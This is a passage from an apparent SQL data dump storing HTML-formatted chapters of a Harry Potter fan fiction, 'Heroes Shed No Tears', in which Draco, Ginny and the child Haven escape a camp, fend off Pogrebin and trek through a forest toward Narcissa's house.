you?&#8221;\n<br><br>\n	Percy sniffed at them. &#8220;Of course not, I just think you&#8217;re to irresponsible to handle another person.&#8221;\n<br><br>\n	&#8220;Ouch,&#8221; George put his hand on his heart, &#8220;That hurt Percy.&#8221;\n<br><br>\n	&#8220;Yeah,&#8221; said Fred, &#8220;Real deep.&#8221;\n<br><br>\n	&#8220;Would you all shut up?&#8221; Draco snapped. &#8220;You&#8217;re giving me a bloody headache.&#8221;\n<br><br>\n	 &#8220;You know,&#8221; Ginny said looking up, &#8220;I&#8217;ve got a bar of soap over here that would do a nice job of cleaning out that mouth of yours.&#8221;\n<br><br>\n	&#8220;What?&#8221; Draco&#8217;s eyebrows slammed together. &#8220;Bloody isn&#8217;t a bad word.&#8221;\n<br><br>\n	&#8220;Maybe so,&#8221; she said mildly. &#8220;But it isn&#8217;t a word you need to be saying around Haven.&#8221;\n<br><br>\n	Draco looked at Haven, no trace of malice on his face. &#8220;But he&#8217;s asleep.&#8221;\n\n<br><br>	&#8220;It doesn&#8217;t matter.&#8221;\n<br><br><br><br>\n~*~\n<br><br><br><br>\nGinny put all the labeled bags of herbs in her bag. She had spent the whole other day on organizing them all, while the men were arguing. There were a few other knick knacks that they had salvaged from the Burrow that she pack in her bag as well, but pretty much everything else in the tent could stay, it wasn&#8217;t like they&#8217;d need it once they got to Hogwarts.\n<br><br>\n	She filled two sacks with even portions of lentils and squash (vegetable of the week). Everyone else was still sleeping while she did this. She had figured that it would be good to be ready to go when everyone else got up so that they wouldn&#8217;t have to do a lot of waiting around.\n<br><br>\n	After she was finished, she sat down on one of the chairs at the small table and massaged her temples with her fingers. &#8220;You&#8217;re quick,&#8221; said someone behind her. She turned around to see who it was. Draco.\n<br><br>\n	&#8220;I couldn&#8217;t sleep,&#8221; she said. &#8220;I thought I should make myself useful.&#8221;\n<br><br>\n	&#8220;As useful as a Weasley can be,&#8221; he said snidely, yet under his breath. 	\n<br><br>\n	She gave him a look, &#8220;You know, that attitude of yours isn&#8217;t going to help us get anything accomplished as a team.&#8221;	\n<br><br>\n	&#8220;Who said we were a team?&#8221; Draco scoffed. \n<br><br>\n	Ginny groaned, &#8220;I don&#8217;t know why I even bother to try and have a conversation with you.&#8221; She shook her head, &#8220;It&#8217;s pointless; everything you say is mean and nasty.&#8221; She looked over at Haven who was still lying asleep in their bed. His white blond hair framed his face like a halo and his mouth was puckered up in a twisted smile.\n<br><br>\n	Ginny grinned, &#8220;I wonder what he&#8217;s dreaming.&#8221;\n<br><br>\n	Draco looked over at Haven softly, &#8220;I hope it&#8217;s something nice.&#8221;\n<br><br>\n	Ginny shook her head again but didn&#8217;t say anything. She saw Harry move around in his bed restlessly. He finally flopped himself over on his back and stared at the ceiling of the tent with his eyes blinking rapidly, adjusting to the light. He looked over and saw that Ginny and Draco were sitting at the table.\n<br><br>\n	&#8220;You two up already?&#8221;\n<br><br>\n	&#8220;Couldn&#8217;t sleep,&#8221; they both said at the same time. Draco glared at her and Ginny rolled her eyes. Harry couldn&#8217;t help but grin. \n<br><br>\n	Harry looked at the others, &#8220;Do you think that we should get them up?&#8221;\n<br><br>\n	Ginny shrugged, &#8220;I don&#8217;t see what harm it could do. The sooner we leave the better.&#8221;\n<br><br>\n	Thirty minutes later, they all snuck out of the tent. Percy and Ron were floating in front of Harry and Neville while Fred and Ginny carried the food sacks. Haven was silent as he held onto Draco&#8217;s hand, his eyes darting at all of the shadows, pressing himself closer. Molly was holding George&#8217;s hand as he followed Draco who was leading the whole group to the small stream where they could break the ward, and escape.\n<br><br><br><br><br><br><br><br><br><br><br><br>\n\n'),
	(99, 6, '\n<b>Disclaimer:</b> I still only own Haven.\n<br><br><center>\n<b><u>Heroes Shed No Tears</u><br>\nPart VI &#8211; Pogrebin </b><br>\n<i>By VirtualFaerie</i>\n<br><br><br><br>\n</center>\nThe camp was silent and the blanket of darkness that had fallen over the camp muffled all of their sounds. Draco had led the group to the stream expertly; they had gone around the New Ministry building undetected. Draco had his wand drawn the entire time, but with no<i> lumos</i> spell. His eyes were wary watching every shadow for a lurking death eater.\n<br><br>\n	They found the stream and the twins went forward to work on the wards. They murmured spells under their breaths, trying to be as quiet as possible. Haven was holding onto Ginny&#8217;s hand while his father helped the twins with the ward. It was taking them longer than expected, and Draco kept looking around like he expected some death eaters to pounce on them.\n<br><br>\n	&#8220;Yes,&#8221; the twins whispered in unison. They turned and grinned at everyone. &#8220;Come on,&#8221; they beckoned everyone and held open the ward with their wands. \n<br><br>\nGinny, Haven and Draco slipped through first, followed by everyone else; Fred and George last, sealing the ward behind them.\n<br><br>\n	They walked in silence for another half hour, the moon beaming down at them luminously, shining in all of her brilliance, giving them light to find their way. The woods nearby were filled with sounds of nocturnal creatures creeping. Haven was holding both Draco and Ginny&#8217;s hands now, squeezing tightly as he looked at the woods fearfully. While Draco just held his hand firmly, Ginny&#8217;s rubbed his palm reassuringly with the pad of her thumb.\n<br><br>\n	&#8220;Gods,&#8221; Fred said finally, breaking the silence. &#8220;I think we&#8217;re far enough away to talk.&#8221;\n<br><br>\n	George nodded, &#8220;The quiet was getting to me. I think that&#8217;s the longest we&#8217;ve been quiet since that invasion in Hogsmeade&#8230;&#8221; he trailed off, suddenly looking very solemn. He reached for his mother&#8217;s hand and pulled her near to him, Fred came up on her other side. Arthur had been killed during that invasion.\n<br><br>\n	Percy and Ron were sleeping; Neville looked at them a bit jealously. He hadn&#8217;t had much sleep the past few days. \n<br><br>\n	&#8220;Daddy,&#8221; Haven said softly.\n<br><br>\n	Draco looked down at him, his sharp gaze mild, &#8220;Yes?&#8221;\n<br><br>\n	&#8220;Will you carry me? My feet are tired,&#8221; Haven looked up at him pleadingly. His feet had been heavy from his boots, thunking on the ground with every step that he took.\n<br><br>\n	&#8220;Sure,&#8221; Draco released his hand and bent down, hoisting Haven over his shoulder, causing him to giggle. &#8220;You can be my sack of potatoes.&#8221; Haven&#8217;s tinkling laughter rang out through the night.\n<br><br>\n	&#8220;Ah! Daddy, I didn&#8217;t mean that kind of carrying. Piggy back,&#8221; Haven explained, still laughing.\n<br><br>\n	&#8220;Oh, right,&#8221; Draco said and shifted Haven to piggy back. \n<br><br>\n	Haven smiled, &#8220;Thanks.&#8221; He rested his head on Draco&#8217;s back and closed his eyes. Ginny looked at them, her eyes glazed over slightly, she tripped on a rock and catapulted forward. In a flash, Draco had Haven on his feet again and had caught Ginny in his arms just before she flew face first into the ground. He was breathing heavily, his hot breath on her skin made her shiver. She looked up at him slowly, her heart racing.\n<br><br>\n	&#8220;I&#8230;Sorry,&#8221; she said when she noticed that everyone was watching her. &#8220;Thanks,&#8221; she said to Draco, standing up and smoothing her robes. They started walking again and Ginny glanced back at the rock that she had tripped over; it was grey and looked like it had little pieces of grass sprouting out of it. She shook her head when she thought she saw two. \n<br><br>\n	Before long, Neville had stumbled over a rock that looked a lot like the one that Ginny tripped over. Only Neville caught himself before he fell. He frowned and looked around, Ginny did the same. There were these kinds of rocks everywhere, or at least there were five of them near the group. As she approached one, she stuck her foot out and kicked it.\n<br><br>\n	The &#8220;rock&#8221; squealed and shot up, revealing a small gray, hairy creature. It scowled at her and rubbed its side. Her eyes widened in shock, they had learned about these in Defense Against the Dark Arts. The others popped up. &#8220;Pogrebin!&#8221; she screamed.\n<br><br>\n	Everyone looked around, Pogrebin weren&#8217;t supposed to be here, they were native to Russia. But during the war they must have come to England, sensing the distressed humans. They were creatures that loved to follow people around making them confused to a point of hysteria causing them to collapse, and then it tries to consume them. \n<br><br>\n	Neville and Harry stunned two of them, but the other three had gotten up. One was chasing Molly and the twins, who were currently in control of Ron and Percy. &#8220;Quick!&#8221; Harry called out as one of the Pogrebin advanced towards him, &#8220;Follow me!&#8221; Molly, the twins, and Neville ran with him, he was casting spells at the Pogrebin, trying to run backwards as well.\n<br><br>\n	Draco, Ginny and Haven were backing up towards the woods as the two remaining Pogrebin pressed towards them, their shiny, sharp, white teeth bared with menacing grins. &#8220;<i>Reverso</i>,&#8221; Draco yelled. They rocketed back, but got back up and kept coming towards them. &#8220;Shit,&#8221; Draco cursed. &#8220;Here,&#8221; he lifted Haven off of him and handed him to Ginny. Haven was now on her, piggy back, &#8220;Hold him&#8230;.&#8221; \n<br><br>\n	The Pogrebin had saliva dripping out of their mouths. Haven was crying and Ginny could feel his hot tears seeping through her robes and shirt. His hands were fisted on her robes. \n<br><br>\n&#8220;Ginny&#8230;.Daddy,&#8221; he cried softly. Pain shot through Ginny&#8217;s heart. She rubbed his legs tenderly.\n<br><br>\n	&#8220;<i>Exileramus</i>!&#8221; Draco shouted. The Pogrebin shrieked and disappeared, gray smoke residing where they had been standing just moments ago. Haven was latched onto Ginny, crying quietly. Draco looked back at them, his eyebrows lowered. &#8220;Come, Haven,&#8221; he helped Haven off of Ginny&#8217;s back and held him against his chest. &#8220;It&#8217;s alright,&#8221; he soothed, rubbing Haven&#8217;s back and rocking slightly. Ginny watched them inaudibly, feeling much the third wheel.\n<br><br>\n	&#8220;Damn,&#8221; he said softly. &#8220;We&#8217;re separated. I hope they find it to my mother&#8217;s house.&#8221; He shook his head, &#8220;Oh well.&#8221;\n<br><br>\n	&#8220;Will we have to go back that other way?&#8221; Ginny asked fearfully. She knew that she had just developed a very large fear of Pogrebin and didn&#8217;t know if she could last through any more confrontations with them.\n<br><br>\n	Draco looked at her curiously, &#8220;Scared?&#8221; There was only a slight hint of malice in his voice.\n<br><br>\n	She looked at him steadily and sniffed, &#8220;Yes, actually, I am.&#8221;\n<br><br>\n	The corner of his mouth quirked, &#8220;Okay then, we can go through the forest.&#8221; He shifted Haven to his back. &#8220;Just stay close; there are&#8230;well, just stay close, okay?&#8221;\n<br><br>\n	&#8220;You don&#8217;t have to tell me twice,&#8221; Ginny said walking next to him, so close that their shoulders almost touched. Ginny looked at Haven. His eyes were closed and he was snoring faintly.\n<br><br>\n	&#8220;This way,&#8221; Draco said, &#8220;takes longer than the other way, but if we go in a sort of semi-circle, we&#8217;ll make it to the house okay.&#8221; \n<br><br>\nGinny nodded. They continued walking through the forest, Ginny developed and knack of jumping whenever she heard a noise and jarring Draco&#8217;s elbow, he scowled at her, but she never noticed.\n<br><br>\n\n-\n<br><br>	\nThe sunlight was filtering through the trees before anyone spoke again, besides Draco&#8217;s irritated &#8220;Stop it&#8221; every time Ginny jumped. Ginny looked at Draco, seeing Haven sagging slightly on his back. &#8220;Do you want me to carry him for a while?&#8221; she asked as they trudged through the forest.\n<br><br>\n	Draco looked at her and wrinkled his nose. &#8220;You&#8217;re too scrawny,&#8221; he said. &#8220;You&#8217;d drop him before too long.&#8221;\n<br><br>\n	Ginny stiffened, &#8220;I am<i> not</i> scrawny.&#8221;\n<br><br>\n	He didn&#8217;t even look her way, &#8220;Yes, you are.&#8221;\n<br><br>\n	&#8220;I am not!&#8221; she said a bit louder. &#8220;Just because you&#8217;re taller than me&#8230;&#8221;\n<br><br>\n	&#8220;Look, Weasel,&#8221; he said tiredly. &#8220;You&#8217;re scrawny, too skinny; you probably have no muscle on you. You wouldn&#8217;t be able to hold him very long; he gets quite heavy after a while.&#8221; He looked over at her; she was glaring at him, her jaw set. Haven hadn&#8217;t stirred; the excitement of the night before had gotten to him, and worn him out.\n<br><br>\n	&#8220;It&#8217;s not my fault the stupid death eaters don&#8217;t know how to give people enough food,&#8221; she said angrily, kicking at a stray stick on the forest floor. &#8220;They hardly give us enough food to feed one person for a week, and they expect it to be enough for a whole tent of people?&#8221; Her eyes widened, &#8220;Oh my gods, I&#8217;m so glad I packed two bags of food.&#8221; She sighed with relief, &#8220;We have one and they have one.&#8221; She put her hand to her heart.\n<br><br>\n	Draco looked at her his eyes watching her, annoyed and vaguely amused. &#8220;Relax, Weasel. I&#8217;m sure that even if they didn&#8217;t have food they&#8217;d be okay. They could eat some boysenberries or something.&#8221; Ginny wrinkled her nose at him.\n<br><br>\n~*~\n<br><br>\n It was getting dark again, and they had only stopped once to eat lunch and let Haven use the bathroom. Draco had gone with him, so Ginny figured he had probably gone too. Draco was still carrying Haven, refusing flat out to let her even try to carry him. She pointed out that she had held him while Draco was fighting off the Pogrebin, but he said the only reason he let her hold him then was because he needed both of his hands free, and he didn&#8217;t want Haven to be so close to the Pogrebin. \n<br><br>\n	There were rustling leaves above their heads and glowing eyes peering at them out of the darkness. Ginny felt her feet dragging; she was so tired. Her face was pale and there were dark circles under her eyes. She would have given anything for her rickety old bed back at the camp. But all there was here was the dewy leaves that rested on the floor of the forest.\n<br><br>\n	&#8220;Ah!&#8221; Ginny cried out. There was a snap.\n<br><br>\n	&#8220;Ginny?&#8221; Haven was suddenly alert and awake, looking around worriedly.\n<br><br>\n	&#8220;Weasel?&#8221; Draco called out.\n<br><br>\n	&#8220;Oh no,&#8221; she moaned. &#8220;No&#8230;no, no, no.&#8221;\n<br><br>\n	&#8220;What happened?&#8221; Draco set Haven down and crouched near Ginny. A fallen branch from a tree, with a sharp limb had ripped through her robes and cut her shin rather deeply. But that wasn&#8217;t what she was moaning about.\n<br><br>\n	&#8220;Not my wand,&#8221; she whispered. She picked up the two pieces and looked at them pitifully. &#8220;Oh Merlin,&#8221; she breathed. She looked at Draco with wide eyes. &#8220;Do you suppose you could heal my cut?&#8221; she asked softly.\n<br><br>\n	Draco whispered a spell and the torn skin on Ginny&#8217;s leg mended. &#8220;Wow,&#8221; said Haven. &#8220;That&#8217;s cool.&#8221;\n<br><br>\n	Ginny sighed, &#8220;Now I feel helpless.&#8221;\n<br><br>\n	&#8220;Was that even really <i>your</i> wand?&#8221; Draco asked carefully.\n<br><br>\n	 She looked at him. &#8220;No, it was Percy&#8217;s old wand.&#8221; Draco brightened a little. Ginny scowled at him, &#8220;What?&#8221;\n<br><br>\n	&#8220;There&#8217;s an Ollivander&#8217;s still open in Hogsmeade. The death eaters figured they should have a place to buy wands,&#8221; he shrugged. &#8220;We can get you a new wand there.&#8221;\n<br><br>\n	Ginny smiled, &#8220;A new&#8230;&#8221; her smile faltered. &#8220;I couldn&#8217;t pay for a new wand.&#8221;\n<br><br>\n	&#8220;We should start moving,&#8221; said Draco picking Haven back up.\n<br><br>\n	They continued walking. &#8220;Did you hear that?&#8221; Ginny instinctively stepped closer to Draco.\n<br><br>\n	It sounded again.\n<br><br>\n	She jumped and grabbed his arm. He let her hold on. &#8220;<i>Lumos</i>,&#8221; he said. He lifted his wand up higher and peered into the darkness. He looked back at Ginny and scowled. &#8220;It was just an owl,&#8221; he said. \n<br><br>\n	&#8220;Oh,&#8221; Ginny let go of his arm quickly and stepped away. \n<br><br>\n	&#8220;Agh,&#8221; Draco clutched at his arm, grimacing and grunting a little with pain. He slid the fabric of his sleeve up to reveal his glowing dark mark. It jeered out at them evilly. He looked at Haven and Ginny apologetically. &#8220;I&#8217;m sorry,&#8221; he said, his voice thick. &#8220;You&#8217;ll have to stay here. I promise that I&#8217;ll be back as soon as I can.&#8221;\n<br><br>\n	Ginny nodded slowly, &#8220;Alright.&#8221; Draco eased Haven off of his back and nudged him towards Ginny. \n<br><br>\n	&#8220;Go on,&#8221; he coaxed. &#8220;I promise I&#8217;ll be back. Just stay right here.&#8221; He hugged Haven and kissed his forehead, then Disapparated. Suddenly, the forest seemed heavier, weighing down on them. The sounds were chilling, making Ginny shiver.\n<br><br>\n	&#8220;I&#8217;m scared,&#8221; Haven said quietly.\n<br><br>\n	&#8220;Me too,&#8221; Ginny whispered, hugging Haven closer.\n<br><br><br><br>\n\n<b>VF:</b> Hello all, thanks for reading so far. I hope you like it. Just a few notes. I sort of made up that <i>exileramus</i> spell. You know like &quot;exile&quot; like they\'re banished to somewhere bad. *shrugs* Anyways...\n\nThanks for reviews! They are greatly appreciated.\n<br><br><br><br><br>\n'),
	(99, 7, '\n<b>Disclaimer:</b><br><br>\n The only thing that I even remotely own is Haven and my plot. Besides, if you tried to sue me, you wouldn&#8217;t get much besides a candy wrapper from my pocket. *grin*\n<br><br>\n<b>Heroes Shed No Tears</b><br>\nPart VII<br><br><br>\n\nDraco Apparated into the middle of a clearing, just outside of the refugee camp. There were already hundreds of death eaters there, waiting for Voldemort to arrive. He quickly sought out Zabini, who was standing nearer to the center of the circle holding some parchment in the hands, looking very important. \n<br><br>\n&#8220;Hello,&#8221; Draco said quietly.\n<br><br>\nZabini turned to look at him, &#8220;I didn&#8217;t think you&#8217;d come.&#8221;\n<br><br>\n&#8220;Why not?&#8221; Draco asked, wrinkling his eyebrows.\n<br><br>\n&#8220;The errand I sent you on, but that&#8217;s okay.&#8221; Zabini looked away from him and back to the parchment, his brows furrowed in concentration.\n<br><br>\n&#8220;Is the Dark Lord coming?&#8221; Draco asked a bit impatiently.\n<br><br>\n&#8220;He said he&#8217;d be here shortly, and was going to be held up by something&#8230;rebellious muggles I think it was,&#8221; Zabini said without even looking up from his parchment.\n<br><br>\n&#8220;What is that?&#8221; Draco craned his neck a bit to see. \n<br><br>\nZabini held it out, &#8220;It&#8217;s our plan for attacking Hogwarts&#8212;&#8220;\n<br><br>\n&#8220;Master,&#8221; there was simultaneous bowing through the black clad crowd as Voldemort Apparated right into the center of the circle the death eaters had formed. His threatening eyes scanned the crowd. Draco bowed quickly.\n<br><br>\n&#8220;Death eaters,&#8221; he hissed, the meeting had begun.\n<br><br>\n\n\n---\n<br><br>\n\nHarry was dragging his feet; they had been walking for hours without stopping. They all figured the quicker they got to Narcissa&#8217;s, the quicker they would be reunited with Ginny and Draco. Harry looked over at Neville, who was grimacing as he looked off into the distance. He noticed a small brown spot on his face. Harry shook his head, that hadn&#8217;t been there before, maybe he was just imagining it.\n<br><br>\n&#8220;Oi,&#8221; George called. &#8220;I think we should stop and sleep.&#8221;\n<br><br>\n&#8220;Yeah,&#8221; said Fred. &#8220;My feet are killing me.&#8221;\n<br><br>\n&#8220;I need to find somewhere to use the bathroom,&#8221; Neville admitted, a blush creeping up his neck.\n<br><br>\n&#8220;Alright,&#8221; Harry said reluctantly. &#8220;We&#8217;ll stop for a few hours, but then we have to start walking again. We can&#8217;t lose Draco and Ginny.&#8221;\n<br><br>\n&#8220;Don&#8217;t see why you care about that git anyways,&#8221; said Ron as Fred set him down on the ground.\n<br><br>\n&#8220;I don&#8217;t care about him, he&#8217;s just vital to our side during this war.&#8221; \n<br><br>\n&#8220;Excuse me,&#8221; Neville squeaked and took off running.\n<br><br>\n&#8220;Man,&#8221; said George, shaking his head, &#8220;That guy really had to whiz.&#8221;\n<br><br>\n\n---\n<br><br>\nThe darkness seemed the close around them, overbearing and oppressive, it smothered them. The forest was an inky black, the only thing visible were the luminous eyes that peered out at them from the depths of the trees. Not a breeze rustled through the trees, not a single leaf sounded in the nightly air.\n<br><br>\nHaven was pressed up against Ginny as much as possible, his hands fisted on her robes, his face buried in her neck. Silent tears streamed down from his eyes, their warm saltiness tickling her collar bone. She had her arms around him, rocking him gently, whispering so softly into his ear that the words were almost nothing but a breath of air. &#8220;It&#8217;ll be okay,&#8221; her voice lulled. She could feel her own heart beating nervously in her chest, her fear almost unbearable. \n<br><br>\nAn owl called out into the night, its harsh cry echoed through the woods, startling both Haven and Ginny. She fell back against a tree, taking Haven with her. She lay there silently, clutching him to her. &#8220;My gods,&#8221; she whispered, &#8220;I wish I had a wand.&#8221;\n<br><br>\nHaven lifted his head to look at her, his eyes glistening. &#8220;I wish Daddy were here.&#8221; Ginny gave him a faint smile and hugged him, kissing his forehead. They stayed like that for hours, Ginny singing softly into his ear, trying to ease him into sleep.\n<br><br>\nThere was a slight &#8216;pop&#8217; close to where they were sitting. Ginny looked up, her eyes wide and fearful, but then the expression fell from her face and was replaced with a smile. &#8220;Malfoy,&#8221; she breathed. &#8220;Oh, God.&#8221;\n<br><br>\nThe corner of his mouth quirked, &#8220;Not quite.&#8221; His expression sobered as he looked down at Haven. &#8220;How is he?&#8221; he asked softly.\n<br><br>\n&#8220;He&#8217;s&#8230;okay. He was scared for a while,&#8221; Ginny said, looking down at Haven tenderly, smoothing a strand of hair from his face. She felt Draco drop down on the ground beside her. She shifted Haven, trying not to jar him out of sleep, into Draco&#8217;s arms. Immediately his arms snaked up around his father&#8217;s neck and he sighed contentedly. \n<br><br>\nDraco looked at her, &#8220;You were scared too?&#8221;\n<br><br>\nShe blinked. &#8220;Well, a little. This forest isn&#8217;t exactly what I would call an Elysium.&#8221; \n<br><br>\nHe snorted. &#8220;Sleep, Weasel,&#8221; he commanded lightly. &#8220;We&#8217;ll be doing a lot of walking tomorrow.&#8221; He didn&#8217;t need to tell her twice, her eyes were closed within seconds, her mind already in her peaceful dreamland.\n<br><br>\n-\n<br><br>\nThe sun was shining through the leaves, casting beams of light across her eyelids. She opened them slowly, taking in her surroundings and the very comfy pillow that she had. She turned her head slightly and saw that she did not have a pillow, but Draco&#8217;s shoulder. She didn&#8217;t move.\n<br><br>\nShe looked at him, resting with Haven, both of them making light snores. She couldn&#8217;t help but smile. Draco was cradling Haven to him, his head leaned back and resting against the tree. Haven had his face buried in his father&#8217;s robes. Ginny sighed and closed her eyes again.	\n<br><br>\nShe felt Draco stiffen but didn&#8217;t open her eyes; she didn&#8217;t know what she would say to him if she did. He exhaled noisily and grunted. She opened her eyes the tiniest bit, seeing through her lashes. He was staring at her, his brows furrowed. Quickly, she closed her eyes the rest of the way.\n<br><br>\nHaven stirred, &#8220;Daddy?&#8221; \n<br><br>\n&#8220;Yes,&#8221; Draco said, his voice gruff from sleep. &#8220;I&#8217;m here.&#8221; Ginny opened her eyes slowly and saw that Haven was stretching like a kitten in Draco&#8217;s lap. \n<br><br>\nGinny slowly lifted her head off of Draco&#8217;s shoulder, causing him to turn and look at her sharply. Before he could say anything, Haven moaned, &#8220;I&#8217;m hungry, Daddy.&#8221;\n<br><br>\nDraco turned took look at Ginny, &#8220;You have the food, right?&#8221;\n<br><br>\n&#8220;Of course, I have the food,&#8221; Ginny bridled and reached for her pack. She turned to Haven and smiled, &#8220;Don&#8217;t worry, I&#8217;ll make you something good to eat.&#8221; Haven grinned.\n<br><br>\nGinny made the small fire and put some water in a small pot, a very small pot and set it over the fire. She poured some of the lentils in the water and sat back, waiting for them to cook. &#8220;That&#8217;s the good?&#8221; Draco asked, raising an eyebrow doubtfully.\n<br><br>\nGinny glared at him, &#8220;It&#8217;s better than nothing. Unless you can make something better I think you should shut up.&#8221; Draco rolled his eyes and looked back at Haven who was occupying himself by taking twigs and trying to build a house with them in the mud. He very carefully applied a bit of mud in-between each twig that he placed on each other and used his fingers to smooth out the walls filling the cracks with more mud. He had three walls built and was working steadily on the fourth one with Ginny took the pot off of the fire.\n<br><br>\nShe pulled out some dented metal bowls and drained the water out of the lentils using a spoon. She put some in each bowl and handed them to Draco and Haven. She took her own and looked at it, wrinkling her nose slightly. It didn&#8217;t look all that great, but it was all they had.\n<br><br>\nDraco looked at his bowl and set it down. He got up, &#8220;I&#8217;ll be back.&#8221; He walked off leaving Haven and Ginny. Ginny looked at Haven with her eyebrows raised and he smiled at her and picked up his spoon, dipping it in the bowl and taking a bite. He didn&#8217;t make a face.\n<br><br>\n-\n<br><br>\n&#8220;Twinkle, twinkle little star. How I wonder what you are,&#8221; Haven sang softly. &#8220;Up above the world so bright, like a diamond in the sky. Twinkle, twinkle little star, how I wonder what you are.&#8221; He was riding on his father&#8217;s back, his head resting against Draco&#8217;s shoulder. His eyes were half closed sleepily, and he kept yawning.\n<br><br>\nGinny put a hand on Haven&#8217;s back and rubbed it soothingly, as to put him to sleep. They had walked for a long time, and Haven hadn&#8217;t been carried for most of the way. He needed to go to sleep and get some rest before he would have to walk some more. Ginny looked up at Draco. &#8220;Why won&#8217;t you let me carry him at all? You must be tired from carrying him.&#8221; He didn&#8217;t say anything. &#8220;I can carry him, I&#8217;m not as&#8230;scrawny as I look.&#8221; She frowned.\n<br><br>\nGinny removed her hand from Haven&#8217;s back, seeing that he was asleep. &#8220;I&#8217;m not tired,&#8221; said Draco. &#8220;I can carry him just fine.&#8221;\n<br><br>\nGinny snorted and rolled her eyes. &#8220;You said yourself that he gets heavy after a while. Come on, it&#8217;s not fair.&#8221;\n<br><br>\n&#8220;No one said anything about me being fair. Now shut up, you&#8217;re going to trip on something if you don&#8217;t pay attention to where you&#8217;re going, and then we&#8217;ll have to stop and wait for you,&#8221; he said. Ginny rolled her eyes again.\n<br><br>\nThe only noises where those of the nocturnal animals, which wasn&#8217;t much, and the sound of their footfalls on the forest floor. Ginny couldn&#8217;t stand it. &#8220;How far do you think we are from your mother&#8217;s house?&#8221; she asked.\n<br><br>\n&#8220;If we keep walking, we should be there by tomorrow afternoon,&#8221; he said. He looked over at her. &#8220;Getting tired? I should have kno&#8212;&#8217;&#8217;\n<br><br>\n&#8220;I&#8217;m not tired!&#8221; Ginny snapped. \n<br><br>\nDraco raised an eyebrow. &#8220;And you&#8217;re just normally this cranky&#8230;.&#8221;\n<br><br>\n&#8220;I&#8217;m not cranky either,&#8221; she sniffed. &#8220;I was just wondering how far we were. Not tired and definitely <i>not</i> cranky.&#8221;\n<br><br>\n&#8220;Whatever you say.&#8221;\n<br><br>\n&#8220;That&#8217;s right and you&#8212;oohhh!&#8221; she huffed and glared at him, receding back into the silence.\n<br><br>\nThey walked for a few more minutes, and then Draco spoke. &#8220;Do we have any water left?&#8221;\n<br><br>\nGinny reached for the canteen off of her bag and shook it. &#8220;Not much. Is there a stream nearby?&#8221;\n<br><br>\n&#8220;We&#8217;ll have to cross one in a few hours. We can get more water then,&#8221; he said, looking at the canteen. She handed it to him and he took a long sip. \n<br><br>\n&#8220;Save some of it!&#8221; Ginny scolded, snatching it out of his hands. &#8220;You never know when we might need it for an emergency or something.&#8221; She screwed the cap back on and put in back in her sack, giving Draco a reprimanding look. He was unfazed.\n<br><br>\n&#8220;Gods, Weasel, I swear you&#8217;re like a mother hen.&#8221;\n<br><br>\nGinny bristled. &#8220;I am not! How dare you&#8212;&#8221;\n<br><br>\n&#8220;I think that we should stop for the night, catch a few winks so you aren&#8217;t so grumpy,&#8221; he gave her a pointed look. &#8220;We&#8217;ll just arrive a bit later than I planned.&#8221; He surveyed the area that they were in a found a nice tree with soft moss growing around it. He set Haven down gently. \n<br><br>\n&#8220;I&#8217;m not grumpy,&#8221; Ginny glared. \n<br><br>\n&#8220;Tell me then, what are you?&#8221;\n<br><br>\n&#8220;I&#8217;m&#8230;.tired.&#8221;\n<br><br>\n&#8220;Seems to me, that with you, the two go hand in hand.&#8221; Draco said, stretching out on the ground next to Haven.\n<br><br>\nGinny flopped on the ground and screwed her eyes shut, and folded her arms across her chest angrily.\n<br><br>\n---\n<br><br>\nIt was almost dawn when Harry&#8217;s group was coming over the meadow that led to Narcissa&#8217;s house that was nestled comfortably in the mountains. They could see the house with little puffs of smoke rising up out of the chimney into the fresh morning air. Harry looked behind him to make sure that no one was lagging behind. Just Neville, but that wasn&#8217;t anything out of the ordinary, and they had all been walking so long that he didn&#8217;t feel like telling them to speed it up.\n<br><br>\nThe twins grinned at him. &#8220;Lovely, isn&#8217;t it?&#8221; George asked, motioning towards the house, which seemed to grow bigger the closer they got.\n<br><br>\n&#8220;Yeah,&#8221; said Fred. &#8220;We&#8217;ve been here before between missions. That Mrs. Malfoy is a real kind lady, she is.&#8221; He closed his eyes, &#8220;And she makes the best hot chocolate I&#8217;ve had since Mum&#8217;s.&#8221; He squeezed his mother&#8217;s hand and smiled at her warmly.\n<br><br>\nMolly smiled back at him, her eyes tearing up a bit. &#8220;You missed my hot chocolate?&#8221;\n<br><br>\n&#8220;Mother,&#8221; both Fred and George said. &#8220;We missed everything about you.&#8221; Molly sighed, looking up at them happily.\n<br><br>\nHarry checked on Percy and Ron, whom the twins seemed of have momentarily forgotten. They had fallen asleep, having nothing else to do.\n<br><br>\nWithin minutes they were standing in front of the huge door that had a brass knocker. Harry lifted up his hand hesitantly, but before he could reach it, the door swung open. Narcissa smiled. &#8220;There you are!&#8221; The smile fell and she looked around. &#8220;Where&#8217;s Draco? And little Haven?&#8221; she asked worriedly.\n<br><br>\n&#8220;We were separated by some Pogrebins, they escaped through the forest. I imagine that they&#8217;ve had to take the long way,&#8221; said Harry.\n<br><br>\n&#8220;Oh,&#8221; Narcissa said, sighing softly. &#8220;Well, do come in. Let me see what I can find you dears to eat. You must have had an <i>exhausting</i> journey.&#8221; She ushered them all in, taking special care to give Molly a hug and an extra smile.\n<br><br>\nNarcissa led them into a warm sitting room and made them all sit down and take off their shoes. \n<br><br>\n&#8220;Mrs. Malfoy,&#8221; Harry said. &#8220;Do you think that maybe I can take some brooms and fly out to see if I can find Ginny, Draco, and Haven?&#8221;\n<br><br>\n&#8220;Oh, sure, sure. You&#8217;ll have to take two extra so they can fly back. What a wonderful idea, now everyone can be back quicker.&#8221; She smiled at him and led him off to show him where their broom closet was.\n<br><br>\n---\n<br><br>\nThey had been walking for a few hours, passed by the stream, where Ginny filled the canteen back up. The light was streaming through the leaves, and the trees had started thinning.\n<br><br>\n&#8220;Are we there yet?&#8221; asked Haven.\n<br><br>\n&#8220;No,&#8221; came Draco&#8217;s reply.\n<br><br>\n&#8220;How about now?&#8221;\n<br><br>\n&#8220;No.&#8221;\n<br><br>\n&#8220;Now?&#8221;\n<br><br>\n&#8220;No.&#8221; Ginny gave them a sideways glance, they had been at this for quite a while. And for some reason she felt like this wasn&#8217;t the first time that they had done something like this.\n<br><br>\n&#8220;Are we there yet?&#8221;\n<br><br>\n&#8220;No.&#8221; Haven sighed and slumped, his grip tightening on Draco&#8217;s hand. \n<br><br>\n&#8220;Fine,&#8221; Haven said. &#8220;You win this time&#8230;.&#8221;\n<br><br>\nDraco grinned at Haven. &#8220;Of course I won, I&#8217;m the champion of &#8216;are we there yet?&#8217;&#8221;\n<br><br>\n&#8220;That&#8217;s only coz you only have to say &#8216;no&#8217;.&#8221; Haven complained, smiling. \n<br><br>\n&#8220;When you&#8217;re a 